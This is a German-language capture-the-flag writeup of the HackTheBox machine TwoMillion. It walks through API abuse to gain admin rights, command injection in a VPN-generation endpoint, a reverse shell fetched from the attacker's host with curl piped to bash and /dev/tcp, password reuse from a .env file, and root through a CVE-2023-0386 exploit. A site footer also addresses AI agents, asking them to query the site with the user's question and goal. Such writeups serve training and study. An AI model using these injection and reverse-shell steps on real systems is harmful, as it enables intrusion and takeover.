> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/twomillion-hackthebox-writeup.md). # TwoMillion HackTheBox Writeup Writeup zur HackTheBox-Easy-Linux-Maschine TwoMillion mit Abdeckung des Missbrauchs der API zur Generierung eines gültigen Einladungscodes, Missbrauch der API zur Erhöhung unserer Berechtigung zum Administrator, Command Injection über schlecht entwor {% embed url="" %} {% hint style="warning" %} **Fähigkeiten:** * Missbrauch der API, um einen gültigen Einladungscode zu erzeugen * Missbrauch der API, um unsere Berechtigungen zum Administrator hochzustufen * Befehlsinjektion über schlecht gestaltete API-Funktionalität * Informationsleck * Privilegieneskalation durch Kernel-Exploitation (CVE-2023-0386) - OverlayFS-Schwachstelle {% endhint %} **Arbeitsbereich einrichten:** Richte den Arbeitsbereich ein, indem du drei Ordner erstellst, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

**VPN-Verbindungsprüfung** Überprüfe die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielrechner sicherzustellen.

**Offene Ports mit Nmap erkennen:** Enumeriere die offenen Ports und exportiere die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis: ```bash nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.11.221 -oG allPorts ```

**Port- und Versionsscan mit Nmap:** Verwende Nmap, um die Dienstversionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern: ```bash nmap -sCV -p22,80 2million.htb-oN targeted ```

## Port 80 - HTTP

#### Verzeichniserkundung mit Gobuster ```bash gobuster dir -u http://2million.htb/ / -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt / -t 100 -r --exclude-length 1674 ```

#### Entdeckung des `inviteapi.min.js` Datei Diese JavaScript-Datei ist mithilfe der klassischen `eval(function(p,a,c,k,e,d){...})` Technik. Nach der Entobfuskierung erscheinen zwei interessante Funktionen: * `verifyInviteCode(code)`: sendet einen Einladungscode an `/api/v1/invite/verify` * `makeInviteCode()`: sendet eine Anfrage an `/api/v1/invite/how/to/generate`

## Ausnutzen der API – Generieren eines Einladungscodes #### Initialer Aufruf: ```bash curl -X POST / -H "Content-Type: application/json" / http://2million.htb/api/v1/invite/how/to/generate ``` Antwort > {"0":200,"success":1,"data":{"data":"Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr","enctype":"ROT13"},"hint":"Daten sind verschlüsselt ... Wir sollten wahrscheinlich den Verschlüsselungstyp prüfen, um sie zu entschlüsseln..."}# #### ROT13-Entschlüsselung → neue URL: {% embed url="" %}

Um den Einladungscode zu generieren, sende eine POST-Anfrage an /api/v1/invite/generate #### Anfrage: ```bash curl -X POST / -H "Content-Type: application/json" / http://amillion.htb/api/v1/invite/generate ```

Antwort (Base64): * V1VPSUYtTEs2OFgtSFVHVFctRE9YMVM= Dekodierung: ```bash echo "V1VPSUYtTEs2OFgtSFVHVFctRE9YMVM=" | base64 -d; echo ``` WUOIF-LK68X-HUGTW-DOX1S Wir verwenden diesen Code, um ein Konto auf der Website zu erstellen.

## Ausnutzung der HackTheBox-API

#### API-Beobachtung Beim Besuch von `/api`können wir die verfügbaren Routen sehen.

#### Versuch, eine VPN-Konfiguration zu generieren (anfänglicher Fehlschlag) ```bash curl -v -X POST / -H "Content-Type: application/json" / --cookie "session=vk54bhldiqdlml8prnse47fkv3" / http://2million.htb/api/v1/admin/vpn/generate ``` Antwort: Nicht erlaubt.

#### Ändern unserer Rolle über die API

Wir testen das Ändern der Benutzereinstellungen mit der Route: ```bash curl -X PUT / -H "Content-Type: application/json" / -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" / http://2million.htb/api/v1/admin/settings/update ``` > {"status":"danger","message":"Fehlender Parameter: email"} ```bash curl -X PUT / -H "Content-Type: application/json" / -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" / http://2million.htb/api/v1/admin/settings/update -d '{"email": "jordan@jordan.com"}' ``` > {"status":"danger","message":"Fehlender Parameter: is/\_admin"} ```bash curl -X PUT / -H "Content-Type: application/json" / -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" / http://2million.htb/api/v1/admin/settings/update -d '{"email": "jordan@jordan.com", "is_admin": 1}' ``` > Antwort: > > {"id":15,"username":"Jordan","is/\_admin":1}

#### Überprüfung unseres Admin-Status ```bash curl -s -X GET / -H "Content-Type: application/json" / -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" / http://2million.htb/api/v1/admin/auth | jq { "message": true } ```

### RCE durch Befehlsinjektion ```bash curl -s -X POST / -H "Content-Type: application/json" / -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" / http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan@jordan.com"}' ```

Versuch, einen Befehl in das Feld einzuschleusen `Benutzername`: ```bash curl -s -X POST / -H "Content-Type: application/json" / -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" / http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan;id #"}' ```

#### Umkehr-Shell 1. **Dateiserver** ```bash echo 'bash -i >& /dev/tcp/10.10.14.88/443 0>&1' > index.html python3 -m http.server 80 ``` 2. **Netcat lauscht** ```bash nc -nvlp 443 ``` 3. **Befehl senden** ```bash curl -s -X POST / -H "Content-Type: application/json" / -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" / http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan;curl http://10.10.14.88 | bash"}' ``` Wir erhalten eine Reverse Shell

## Privilegieneskalation #### Entdeckung sensibler Dateien Durch die Suche in den von unserer Shell aus zugänglichen Dateien entdecken wir eine versteckte `.env` Datei mit den Zugangsdaten für die Datenbank: ```bash DATABASE=htb_prod USERNAME=admin PASSWORD=SuperDuperPass123 ```

Wir bemerken außerdem das Vorhandensein eines zweiten Benutzers namens `admin`.

#### Passwort-Wiederverwendung Beim Testen der gefundenen Zugangsdaten sehen wir, dass der Systembenutzer `admin` das **gleiche Passwort** wie das Datenbankpasswort verwendet. ### Flagge user.txt :)

Diese schlechte Praxis ermöglicht es uns, eine **SSH-Verbindung**: #### System-E-Mail

Beim Verbinden informiert uns eine Nachricht über das Vorhandensein einer **neuen E-Mail**. Beim Lesen erhalten wir entscheidende Informationen: > Hey admin, > > Ich weiß, dass du so schnell wie möglich an der DB-Migration arbeitest. Während wir teilweise außer Betrieb sind, könntest du auch das OS auf unserem Webhost aktualisieren? Dieses Jahr gab es bereits einige schwere Linux-Kernel-CVEs. Der in OverlayFS / FUSE sieht übel aus. Daran dürfen wir uns nicht die Finger verbrennen.

Diese Nachricht bringt uns auf die Spur einer **bekannten Schwachstelle in OverlayFS**:/ **CVE-2023-0386** – einer lokalen Privilegieneskalations-Schwachstelle im Linux-Kernel. ## Ausnutzung von CVE-2023-0386 - OverlayFS-Privilegieneskalation > OverlayFS ermöglicht es, Dateisysteme übereinanderzulegen. In einigen Versionen des Linux-Kernels ermöglicht eine mangelhafte Kapazitätsverwaltung einem nicht privilegierten Benutzer, Code mit **Root-Rechten**. {% embed url="" %} **Ausführungsschritte** 1. **Den Exploit klonen** von unserem lokalen Rechner aus: ```bash git clone https://github.com/puckiestyle/CVE-2023-0386 cd CVE-2023-0386 make all ``` 2. **Übertrage die kompilierten Dateien** auf die Zielmaschine (`scp`, `python -m http.server`, usw.).

2. **Auf der Zielmaschine**, führe in **zwei Terminals**: * Terminal A: ```bash ./fuse ./ovlcap/lower ./gc ``` * Terminal B: ```bash ./exp ``` Wenn alles gut geht, erhalten wir eine **root** Shell-

### root.txt-Flagge :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/twomillion-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.